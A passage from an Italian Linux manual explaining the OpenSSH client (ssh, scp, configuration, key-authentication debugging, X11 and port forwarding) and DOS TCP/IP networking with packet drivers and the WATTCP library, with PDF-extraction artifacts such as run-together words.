Page 216: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2200 OpenSSH

‘ssh ’ richiede una configurazione che può essere fornita in modo globale a tutto il sistema,attraverso il file‘ /etc/ssh/ssh_config ’ e in modo particolare per ogni utente, attraverso ilfile ‘~/.ssh/config ’ .

Il modello sintattico per l’utilizzo di‘ssh ’ , si esprime semplicemente nel modo seguente:

ssh [ opzioni] host [ comando]

L’utente può essere riconosciuto nel sistema remoto attraverso uno tra diversi tipi di autentica-zione, a seconda delle reciproche configurazioni; al termine dell’autenticazione, l’utente ottieneunashell oppure l’esecuzione del comando fornito come ultimo argomento (come si vede dallasintassi).

Segue l’elenco di alcune opzioni di uso più frequente.

-l utente

Permette di richiedere l’accesso utilizzando il nominativo-utente indicato nell’argomento. Diversamente, si intende ac-cedere con lo stesso nominativo usato nelcliente dal quale siutilizza ‘ssh ’ .

-i file_di_identificazione

Permette di fare utilizzare a‘ssh ’ una chiave di identifica-zione personale diversa da quella contenuta nel file standard,ovvero‘~/.ssh/id * ’ (e poi anche‘~/.ssh/id * .pub ’). Sideve indicare solo il nome della chiave privata, intendendoche il nome del file contenente la chiave pubblica si ottienecon l’aggiunta dell’estensione‘ .pub ’ .

-1 Richiede espressamente l’uso del protocollo nella versione 1.-2 Richiede espressamente l’uso del protocollo nella versione 2.-4 Utilizza indirizzi IPv4.-6 Utilizza indirizzi IPv6.

Seguono alcuni esempi di utilizzo di‘ssh ’ .

$ ssh -l tizio roggen.brot.dgAccede all’elaboratoreroggen.brot.dg , utilizzandolì il nominativo-utente‘ tizio ’ .

$ ssh -l tizio roggen.brot.dg ls -l /tmp

Esegue il comando‘ ls -l /tmp ’ nell’elaboratoreroggen.brot.dg , utilizzando lì ilnominativo-utente‘ tizio ’ .

$ ssh -l tizio roggen.brot.dg ←→tar czf - /home/tizio > backup.tar.gz

Esegue la copia di sicurezza, con l’au-silio di ‘ tar ’ e ‘gzip ’ (‘ tar ’ conl’opzione ‘z ’ ), della directory perso-nale dell’utente‘ tizio ’ nell’elabora-tore remoto. L’operazione genera il fi-le ‘backup.tar.gz ’ nella directorycorrente dell’elaboratore locale.

A proposito dell’esempio con cui si esegue una copia di sicurezza attraverso la rete, è bene sot-tolineare che il file generato, contiene dei caratteri aggiuntivi oltre la fine del file. Ciò può cau-sare delle segnalazioni di errore quando si estrae il file compresso, ma il contenuto dell’archiviodovrebbe risultare intatto.

La configurazione di‘ssh ’ può essere gestita globalmente attraverso il file‘ /etc/ssh/

ssh_config ’ e singolarmente attraverso‘~/.ssh/config ’ .

Il file può contenere righe di commento, evidenziate dal simbolo‘#’ iniziale, righe vuote(che vengono ignorate) e righe contenenti direttive, composte da coppienome valore, oppurenome=valore.

Page 217: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2201

In questi file di configurazione possono essere distinte diverse sezioni, riferite a gruppi dinodi.Ciò si ottiene attraverso la direttiva‘Host modelli’ , in cui, anche attraverso i caratteri jolly‘* ’ e‘?’ , si indicano inodi a cui sono riferite le direttive successive, fino alla prossima direttiva‘Host ’ .

Quello che segue è il file‘ /etc/ssh/ssh_config ’ tipico, tutto commentato, ma utileugualmente per comprenderne il funzionamento.

# Host *# ForwardAgent no# ForwardX11 no# RhostsAuthentication no# RhostsRSAAuthentication yes# RSAAuthentication yes# PasswordAuthentication yes# FallBackToRsh no# UseRsh no# BatchMode no# CheckHostIP yes# StrictHostKeyChecking yes# IdentityFile ~/.ssh/identity# IdentityFile ~/.ssh/id_dsa# IdentityFile ~/.ssh/id_rsa# Port 22# Protocol 2,1# Cipher blowfish# EscapeChar ~

Anche in questo caso, si deve ricordare che i nomi usati nelle direttive sono sensibili alladifferenza tra maiuscole e minuscole.

Segue la descrizione di alcune direttive.

Cipher des| 3des←

→| blowfish | none

Permette di indicare il tipo di cifratura preferita per il proto-collo della versione 1. Se si specifica il tipo‘none ’ si intendedi non volere alcun tipo di cifratura, cosa utile solo a scopo dianalisi diagnostica.

Ciphers tipo_cifratura←→[ , tipo_cifratura] ...

Consente di indicare un elenco di cifrature utilizzabili per ilprotocollo della versione 2.

Compression yes| noSe attivato, permette di utilizzare una comunicazione di da-ti compressa, in modo da migliorare il rendimento di unaconnessione lenta. Il valore predefinito è‘no ’ .

IdentityFile file

Permette di indicare il file contenente la chiave privata dell’u-tente, in alternativa a quello standard. Questa direttiva si puòusare anche più volte, per fare riferimento a coppie di chiavidistinte per i vari tipi di protocolli.

Protocol n[ , m] ...

RhostsAuthentication ←→ yes| no

RhostsRSAAuthentication ←→ yes| no

RSAAuthentication yes| no

PubkeyAuthentication ←→ yes| no

PasswordAuthentication ←→ yes| no

Queste direttive hanno lo stesso significato e utilizzo di quellecorrispondenti alla configurazione delservente.

Page 218: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2202 OpenSSH

StrictHostKeyChecking ←→ yes| no| ask

Se attivato, fa in modo che le chiavi pubbliche deiserventicontattati non possano essere aggiunte automaticamente nel-l’elenco personale, il file‘~/.ssh/known_hosts ’ , impeden-do la connessione anodi sconosciuti o irriconoscibili. Il va-lore predefinito è‘ask ’ , con cui si chiede all’utente comecomportarsi.

User utente

Permette di indicare l’utente da utilizzare nella connessioneremota. Ciò è particolarmente utile nella configurazione per-sonalizzata, in cui si potrebbe specificare l’utente giusto perogninodo presso cui si ha accesso.

Per copiare dei file in modo cifrato, si può usare‘scp ’ , che ovviamente si avvale di‘ssh ’ inmodo trasparente:

scp [ opzioni] [[ utente@] host: ] origine... [[ utente@] host: ] destinazione

Il principio di funzionamento è lo stesso della copia normale, con la differenza che i percorsi peridentificare i file e le directory, sono composti con l’indicazione dell’utente e delnodo. Vengonodescritte alcune opzioni:

-pfa in modo che gli attributi originali dei file vengano rispettatiil più possibile nella copia;

-r permette la copia ricorsiva delle directory;-1 richiede espressamente l’uso del protocollo nella versione 1;-2 richiede espressamente l’uso del protocollo nella versione 2;-4 utilizza indirizzi IPv4;-6 utilizza indirizzi IPv6.

Seguono alcuni esempi.

$ scp ←→[email protected]:/etc/profile ←→.

Copia il file ‘ /etc/profile ’ dal-l’elaboratore roggen.brot.dgutilizzando il nominativo-utente‘ tizio ’ , nella directory correntedell’elaboratore locale.

$ scp -r ←→[email protected]:/home/tizio/ ←→.

Copia tutta la directory ‘ /home/

tizio/ ’ dall’elaboratoreroggen.brot.dg utilizzandoil nominativo-utente ‘ tizio ’ , nelladirectory corrente dell’elaboratorelocale.

202.10 Verifica del funzionamento di un servente OpenSSH

In condizioni normali, la configurazione tipica diOpenSSH consente delle connessioni dove ilriconoscimento degli utenti avviene attraverso l’inserimento dellaparola d’ordine. Per ragioni disicurezza, le forme di autenticazione «RHOST», ovvero quelle basate sull’uso dei file‘ /etc/

hosts.equiv ’ , ‘ /etc/shosts.equiv ’ , ‘~/.rhosts ’ e ‘~/.shosts ’ , sono disabilitate.

Di solito, l’autenticazione basata sulla verifica della chiave pubblica è abilitata, ma si richiedeche i permessi e la proprietà dei file relativi siano coerenti per il contesto a cui si riferiscono.

In generale, è bene evitare le forme di autenticazione RHOST, anche quando sono mediate dalriconoscimento concorrente della chiave pubblica; pertanto, se è necessario accedere senza l’in-

Page 219: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2203

dicazione di unaparola d’ordine, il modo più corretto rimane quello del riconoscimento dellachiave, senza altre interferenze.

Spesso, quando si cerca di realizzare una connessione senza bisogno di inserire laparola d’or-dine, si incappa in qualche problema che impedisce di ottenere il risultato. Per scoprire dovesia il problema, è necessario avviare il demone‘sshd ’ in modalità diagnostica, per seguire unaconnessione singola e vedere cosa succede veramente:

# sshd -e -d 2>&1 | less

All’avvio, ciò che si ottiene sono i messaggi relativi allo stato della configurazione. Per esempio:

debug1: Seeding random number generatordebug1: sshd version OpenSSH_3.0.2p1 Debian 1:3.0.2p1-9debug1: private host key: #0 type 0 RSA1debug1: read PEM private key done: type RSAdebug1: private host key: #1 type 1 RSAdebug1: read PEM private key done: type DSAdebug1: private host key: #2 type 2 DSAdebug1: Bind to port 22 on 0.0.0.0.Server listening on 0.0.0.0 port 22.Generating 768 bit RSA key.RSA key generation complete.

Se dal nodo dinkel.brot.dg l’utente ‘ tizio ’ tenta di collegarsi, si può leggere, inparticolare, l’estratto seguente:

Connection from 192.168.1.1 port 32773...debug1: trying public key file /home/tizio/.ssh/authorized_keysdebug1: matching key found: file /home/tizio/.ssh/authorized_keys, line 3...debug1: ssh_rsa_verify: signature correctAccepted publickey for tizio from 192.168.1.1 port 32773 ssh2debug1: Entering interactive session for SSH2.

In questo caso si evidenzia un’autenticazione basata sul riconoscimento della chiave pubblica.Ecco cosa potrebbe succedere invece se i permessi non vengono ritenuti adeguati:debug1: trying public key file /home/tizio/.ssh/authorized_keysAuthentication refused: bad ownership or modes for directory /home/tizio

In questo caso, l’autenticazione basata sul riconoscimento della chiave pubblica, non funzionaperché ladirectory personale dell’utente consente la scrittura al gruppo, pertanto si ricade nellasolita autenticazione per mezzo dellaparola d’ordine.

202.11 X in un tunnel OpenSSH

OpenSSH è configurato in modo predefinito per gestire automaticamente le connessioni di X.Per comprenderlo è meglio fare subito un esempio pratico. Si immagini di avere avviato X sulproprio elaboratore locale e di avere aperto una finestra di terminale con la quale si effettua unaconnessione presso un sistema remoto, attraverso‘ssh ’ . Dopo avere stabilito la connessione, sivuole avviare su quel sistema un programma che utilizza ilservente grafico locale: basta avviarloe tutto funzionerà, semplicemente, all’interno di un tunnel cifrato diOpenSSH.

Page 220: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2204 OpenSSH

202.11.1 Attività svolta da OpenSSH

Il meccanismo attuato daOpenSSH per arrivare a questo risultato è molto complesso, garantendoil funzionamento della connessione anche se le autorizzazioni per l’accesso alservente graficolocale non erano state concesse al sistema remoto.

Nel momento in cui si accede al sistema remoto attraverso‘ssh ’ da una finestra di terminale di X,la controparte nel sistema remoto, cioè‘sshd ’ , genera o aggiorna il file‘~/.Xauthority ’ nelprofilo personale dell’utente utilizzato per accedere, attraverso il proprio canale privilegiato. Sedopo la connessione si prova a visualizzare il contenuto della variabile‘DISPLAY’ , si dovrebbeosservare che viene indicato uno schermo speciale nel sistema remoto. Si osservi l’esempio:

[email protected]:~$ ssh -l caio roggen.brot.dg [ Invio ]

caio’s password: ***** [ Invio ]

In questo modo, l’utente‘ tizio ’ che si trova presso ilnodo dinkel.brot.dg , cerca diaccedere aroggen.brot.dg , utilizzando lì il nominativo-utente‘caio ’ .

La prima volta che lo fa ottiene la creazione del file‘~/.Xauthority ’ nel sistema remoto, comemostrato qui sotto.

/usr/X11/bin/xauth: creating new authority file /home/caio/.Xauthority

[email protected]:~$ echo $DISPLAY

roggen.brot.dg:10.0

Contrariamente al solito, lo schermo sembra essere collocato presso il sistema remoto, proprioperché èOpenSSH a gestire tutto. In questo modo però, non contano più le autorizzazioni o idivieti fatti attraverso la gestione normale di X. Inoltre, dal momento che la connessione di Xè incapsulata nel protocollo SECSH, non valgono più eventuali restrizioni poste neirouter perimpedire l’utilizzo di tale protocollo.

202.11.2 Risvolti sulla sicurezza

La connessione instaurata attraversoOpenSSH garantisce che la comunicazione riferita alla ge-stione delservente grafico sia protetta, risolvendo la maggior parte dei problemi di sicurezzaderivati dall’uso di X attraverso la rete.

Tuttavia, questo non garantisce che il sistema sia completamente sicuro, dal momento che unaggressore potrebbe collocarsi nelnodo remoto e da lì sfruttare il tunnel predisposto proprio daOpenSSH, come documentato inThe interaction between SSH and X11.

A questo punto, si potrebbe ritenere conveniente di vietare in ogni caso l’utilizzo delle appli-cazioni per X attraverso la rete, ma dal momento cheOpenSSH scavalca i sistemi tradizionali,occorre configurare proprioOpenSSH per questo.

In generale, se è questa l’intenzione, si agisce nel file‘ /etc/ssh/sshd_config ’ , con la di-rettiva ‘X11Forwarding ’ , in modo che‘sshd ’ non si presti alla gestione di X nel mododescritto.

X11Forwarding no

Eventualmente, lo stesso utente può impedirsi di usare X attraversoOpenSSH, intervenendo nelfile ‘~/.ssh/config ’ con la direttiva‘ForwardX11 ’ .

ForwardX11 no

Page 221: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

OpenSSH 2205

202.12 Creazione di un tunnel cifrato generico conOpenSSH

Il clienteOpenSSH è in grado di realizzare un tunnel cifrato tra due elaboratori, attraverso unatecnica chiamataport forwarding. In pratica, con questa tecnica, si apre una connessione SECSHnormale, con o senza l’attivazione di unashell remota, nella quale si inserisce una comunicazioneaggiuntiva che collega una porta remota con una porta locale. L’esempio seguente dovrebbeservire per comprendere la tecnica:

1. [email protected]:~$ ssh -N -L 9090:dinkel.brot.dg:[email protected] [ Invio ]

l’utente ‘ tizio ’ presso l’elaboratore roggen.brot.dg si collega all’ela-boratore dinkel.brot.dg , con l’utenza ‘caio ’ , per aprire un tunnel tradinkel.brot.dg:80 e roggen.brot.dg:9090 ;

2. [ Ctrl+z ]

[email protected]:~$ bg [ Invio ]

dopo essersi identificato presso l’elaboratore remoto, sospende l’esecuzione del programmae quindi lo riattivasullo sfondo;

3. [email protected]:~$ links http://localhost:9090 [ Invio ]

A questo punto si può visitare il sitohttp://dinkel.brot.dg:80 utilizzandoinvece l’indirizzo http://localhost:9090 , garantendo che la comunicazione tral’elaboratore locale (roggen.brot.dg ) edinkel.brot.dg avvenga in modo cifrato.

Tabella 202.14. Opzioni di ‘ssh ’ specifiche per la realizzazione di un tunnel tra l’ela-boratore locale e un nodo remoto, che disponga anche di un servente OpenSSHattivo.

Opzione Descrizione-N Non esegue un comando presso l’elaboratore remoto.

-L porta_locale: nodo_remoto: porta_remota

-L porta_locale/ nodo_remoto/ porta_remota

Apre la porta locale indicata e ritrasmette le comunicazionicon questa porta alla porta remota dell’elaboratore remoto in-dicato. Se si apre localmente una porta privilegiata, occorreagire in qualità di utente‘ root ’ nell’elaboratore locale. Laprima notazione riguarda IPv4, mentre la seconda riguardaIPv6.

-R porta_remota: nodo_locale: porta_locale

-R porta_remota/ nodo_locale/ porta_locale

Apre la porta remota indicata e ritrasmette le comunicazionicon questa porta alla porta locale dell’elaboratore locale in-dicato. Se si apre una porta privilegiata remota, occorre agirein qualità di utente‘ root ’ nell’elaboratore remoto. La primanotazione riguarda IPv4, mentre la seconda riguarda IPv6.

202.13 Installazione

OpenSSH non è inclusa in tutte le distribuzioni GNU/Linux, a causa delle norme sulle limitazioniall’esportazione dei sistemi di cifratura diffuse in vari paesi, in particolare negli Stati Uniti.

In ogni caso, l’installazione diOpenSSH è semplice: si deve predisporre la chiave delnodo,come già descritto più volte; quindi, se si vogliono accettare connessioni, basta avviare il demone‘sshd ’ , possibilmente attraverso unoscript dellaprocedura di inizializzazione del sistema.

Page 222: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2206 OpenSSH

La configurazione è facoltativa e deve essere fatta solo se si desiderano inserire forme partico-lari di limitazioni (come nel caso del divieto dell’inoltro di X), oppure se si vuole concederel’autenticazione RHOST (cosa che è meglio non fare).

Alcune versioni precompilate diOpenSSH sono organizzate in modo da utilizzare la direc-tory ‘ /etc/ssh/ ’ per il file di configurazione del sistema (come è stato mostrato qui); altremettono direttamente tali file nella directory‘ /etc/ ’ .

202.14 Riferimenti

• OpenSSH

<http://www.openssh.com/>

• Pagine di riferimenti a lavori attorno al protocollo SECSH:

<http://www.openssh.org/>

<http://www.freessh.org/>

• SSH Secure Shell

<http://www.ssh.org/>

• Replay Associates, L.L.P.

<http://www.replay.com/>

• Ulrich Flegel,The interaction between SSH and X11, thoughts on the security of the SecureShell, 1997

<ftp://ftp.cert.dfn.de/pub/docs/crypt/ssh- x11.ps.gz>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 223: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Parte xxxviii

Connettività con sistemi Dos203 Dos IPv4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2208

203.1 Driver di pacchetto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2208

203.2 Libreria WATTCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2209

203.3 Applicazioni standard per WATTCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2210

203.4 ABC-nslookup . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2211

203.5 MiniTelnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2211

203.6 SSHDOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2212

203.7 Bobcat (Lynx) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2212

203.8 PPRD: servente di rete per la stampa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2213

203.9 Trout . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2214

203.10 Talk . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2215

203.11 DosLynx . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2215

203.12 NCSA Telnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2217

203.13 POPMail . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2219

203.14 PCroute . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2222

203.15 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2224

204 Dos PPP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2225

204.1 Composizione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2225

204.2 Configurazione e script . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2225

204.3 Connessione in pratica . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2227

205 Introduzione a NOS-KA9Q -- IPv4 per Dos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2228

205.1 Preparazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2228

205.2 Interfacce, instradamento e nomi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2231

205.3 Gestione delle sessioni . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2235

205.4 Attività nel sistema locale . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2236

205.5 Gestione della rete e delle connessioni . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2236

205.6 NOS come cliente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2237

205.7 NOS come servente . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2238

205.8 NOS come router IPv4 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2240

2207

Page 224: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 203Dos IPv4Come sistema operativo libero, GNU/Linux costituisce la scelta ottimale, se non altro dal puntodi vista economico, per la realizzazione di reti locali. Ma anche il recupero di vecchia tecnologiapuò essere di grande aiuto. Il vecchio hardware basato sui286 può essere introdotto in una reteTCP/IP per servizi classici quali TELNET, FTP e altro.

È da tenere presente che è in corso la realizzazione del progetto FreeDOS che potrebbegiustificare ancora meglio questo tipo di ragionamento (<http://www.freedos.org>).

Negli esempi che appaiono nelle sezioni che seguono si immagina di avere una piccola rete localecon due elaboratori.

1. 192.168.1.1dinkel.brot.dg , sistema GNU, con funzionalità dirouter e diserventeDNS;

2. 192.168.1.15dos.brot.dg con il sistema Dos.

Il secondo elaboratore è quello che si vuole utilizzare con i programmi Dos descritti in questo ca-pitolo. Per quanto riguarda il caso particolare del programmaPCroute, verranno mostrati esempicon dati differenti.

Prima di proseguire, è importante evitare di farsi illusioni: si tratta di programmi molto deboli,utili solo per IPv4 e a volte incapaci di attraversare irouter.

203.1 Driver di pacchetto

Per poter comunicare attraverso un elaboratore con sistema operativo Dos in una rete TCP/IPoccorre un cosiddettodriver di pacchetto(packet driver), ovvero undriver software in grado difornire un minimo servizio basato sul protocollo IP. La raccolta didriver di pacchetto più comuneè quella dellaCrynwr 1 (<http://www.crynwr.com>).

I programmi che si intendono utilizzare devono essere predisposti per il tipo didriver di pacchettoa disposizione.

Una raccolta didriver di pacchetto organizzata daCrynwr, può essere ottenuta pressoSimtel.Net(la nota distribuzione di softwaresharewaree freewareper Dos e MS-Windows) all’indirizzo<ftp://ftp.simtel.net/pub/simtelnet/msdos/pktdrvr/pktd11.zip>.

All’interno della raccolta si può trovare un lungo elenco didriver per vari modelli di schede direteEthernet. In particolare, vale la pena di soffermarsi suidriver per le schedeEthernet NE2000e per la connessione PLIP attraverso la porta parallela.

• ‘NE2000.COM’

Si tratta del driver adatto per la connessione attraverso schedeEthernet compatibiliNE2000. Questo programma deve essere avviato con i parametri necessari per potercomunicare con la scheda di rete e con le applicazioni.

NE2000.COM [ opzioni] [ irq_software] [ irq_della_scheda] [ i/o_della_scheda]1Crynwr packet driver collection GNU GPL

2208

Page 225: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2209

Le schede NE2000 vengono configurate, attraverso ponticelli o software di configurazione,predisponendo un IRQ e un indirizzo di I/O. Oltre a queste indicazioni, è necessario specifi-care un indirizzo IRQ aggiuntivo che viene utilizzato per la comunicazione tra i programmie il driver stesso. La scelta di questo IRQ software è la parte più delicata. L’indirizzo 7E16

dovrebbe andare bene. Supponendo di avere installato una scheda configurata con IRQ 11(0B16) e indirizzo di I/O 30016, si dovrà avviare ildriver nel modo seguente:NE2000.COM 0x7e 0x0b 0x300

È opportuno aggiungere questa riga all’interno del file‘AUTOEXEC.BAT’ .

• ‘PLIP.COM’

Si tratta deldriver adatto per la connessione attraverso la porta parallela con un cavo PLIP.Questo programma deve essere avviato con i parametri necessari per poter comunicare conla scheda di rete e con le applicazioni.

PLIP.COM [ opzioni] [ irq_software] [ irq_della_porta] [ i/o_della_porta]Come nel caso delle schede NE2000, è necessario specificare un indirizzo IRQ aggiuntivoche viene utilizzato per la comunicazione tra i programmi e ildriver stesso. L’indirizzo 7E16

dovrebbe andare bene. Supponendo di avere a disposizione una porta parallela che utilizzaIRQ 7 (0716) e indirizzo di I/O 37816, si dovrà avviare ildriver nel modo seguente:PLIP.COM 0x7e 0x07 0x378

È opportuno aggiungere questa riga all’interno del file‘AUTOEXEC.BAT’ .

I driver di pacchettoCrynwr e altri simili, possono essere rimossi dalla memoria residente attra-verso un programma speciale che accompagna la raccolta stessa. Si tratta di‘TERMIN.COM’ cherichiede soltanto l’indicazione dell’indirizzo IRQ software con il quale è stato installato ildriver:

TERMIN.COM irq_software

Per esempio, per eliminare ildriver installato utilizzando l’indirizzo 7E16, viene eliminato dallamemoria residente con il comando seguente:

TERMIN.COM 0x7e

203.2 Libreria WATTCP

WATTCP 2 (University of Waterlo TCP) è una libreria utilizzata da alcuni programmi per acce-dere alle funzionalità TCP/IP. Di conseguenza, questi programmi hanno in comune lo stesso tipodi file di configurazione, che normalmente è denominato‘WATTCP.CFG’ .

Generalmente, questi programmi incorporano completamente il codice della libreriaWATT-CP, pertanto, i programmi sono autonomi, ma possono usare in comune lo stesso file diconfigurazione.

Questo file si compone di direttive molto semplici, in cui si assegna idealmente un valore a unavariabile:

variabile_di_configurazione= valore

In generale, viene definito l’indirizzo IP, il nome corrispondente e lamaschera di rete (o dellasottorete), come si vede nell’esempio seguente:

2WATTCP software non libero: non è consentita la distribuzione di versioni modificate e non è consentita lacommercializzazione

Page 226: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2210 Dos IPv4

HOSTNAME = dosMY_IP = 192.168.1.15NETMASK = 255.255.255.0

Inoltre, di solito si indicano anche iserventi DNS,3 il nome del proprio dominio e ilrouter(gateway):

GATEWAY = 192.168.1.1NAMESERVER = 192.168.1.1DOMAINSLIST = brot.dg

Può essere interessante anche la definizione della dimensione massima dei pacchetti (MSS,Maxsegment size), se per qualche motivo ildriver di pacchetto dovesse avere delle limitazioni:

MSS = 512

In breve, un esempio completo, senza l’indicazione della dimensione massima dei pacchetti:

MY_IP = 192.168.1.15NETMASK = 255.255.255.0GATEWAY = 192.168.1.1NAMESERVER = 192.168.1.1HOSTNAME = dosDOMAINSLIST = brot.dg

Alcuni programmi potrebbero richiedere la presenza di una variabile di ambiente che permettaloro di individuare facilmente la collocazione e il nome del file di configurazione. Per esem-pio, se si tratta del file‘C:\TCPIP\WATTCP.CFG ’ , potrebbe essere richiesto di includere nel file‘AUTOEXEC.BAT’ la riga seguente:

SET WATTCP.CFG=\TCPIP

I programmi che utilizzano questa libreria, fanno spesso riferimento a file standard dei sistemiUnix, che devono trovare nella directory corrente:

‘HOSTS’contiene un elenco di indirizzi IP associati al nome di dominio corrispondente,equivalente al noto‘ /etc/hosts ’ dei sistemi Unix

‘PROTOCOL’contiene l’elenco dei protocolli con i nomi associati, equivalente al noto‘ /etc/

protocols ’ dei sistemi Unix

‘SERVICES’contiene l’elenco dei servizi di rete, equivalente al noto‘ /etc/services ’ deisistemi Unix.

203.3 Applicazioni standard per WATTCP

Assieme alla libreriaWATTCP, si trovano i sorgenti di alcuni programmi comuni,4 diffusi informa binaria in un archivio compresso denominato‘apps.zip ’ . La tabella seguente ne elencaalcuni:

tcpinfomostra le informazioni tratte dal fi-le di configurazione‘wattcp.cfg ’ ,consentendone il controllo;

ping hostesegue una richiesta di eco ICMPverso ilnodo indicato;

finger [ utente@] hostrichiede le informazioni disponibilisugli utenti delnodo indicato;

rexec host [ utente [ parola_d’ordine]] comandoesegue un comando remoto attraversoil protocollo RSH;

3Per indicare piùserventi DNS, è sufficiente usare la direttiva‘NAMESERVER’ ripetutamente.4WATTCP apps software non libero: non può essere commercializzato

Page 227: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos IPv4 2211

lpr [ coda] host file invia un file alla stampante remota;

lpq -P coda -S hostinterroga la coda di una stampanteremota;

ftp [ utente@] hostrichiede l’instaurazione di un collega-mento FTP con ilnodo indicato;

203.4 ABC-nslookup

ABC-nslookup5 consente l’interrogazione di un servizio DNS. Si tratta di un programma moltosemplice che utilizza la libreriaWATTCP e anche la libreriaABC, ma la seconda richiede la pre-parazione di altri file; in particolare, per ciò che riguardaABC-nslookup, è necessario predisporreun file contenente l’elenco deiserventi DNS a disposizione.

Il pacchetto originale del programma, corrispondente al file‘nslb01a.zip ’ , include una sot-todirectory che dovrebbe essere riprodotta tale e quale nella radice del disco:‘ \ETC\ ’ . Questadirectory contiene in particolare il file‘RESOLV.CNF’ , che corrisponde in pratica al file‘ /etc/

resolv.conf ’ dei sistemi Unix. Eventualmente, se si desidera collocare questi file in una posi-zione diversa, basta definire la variabile di ambiente‘ABCETCDIR’ ; per esempio, si può scriverenel file ‘AUTOEXEC.BAT’ :

SET ABCETCDIR=\TCPIP

In questo caso, si intende dire che i file di tale directory si trovano invece in‘ \TCPIP\ ’ .

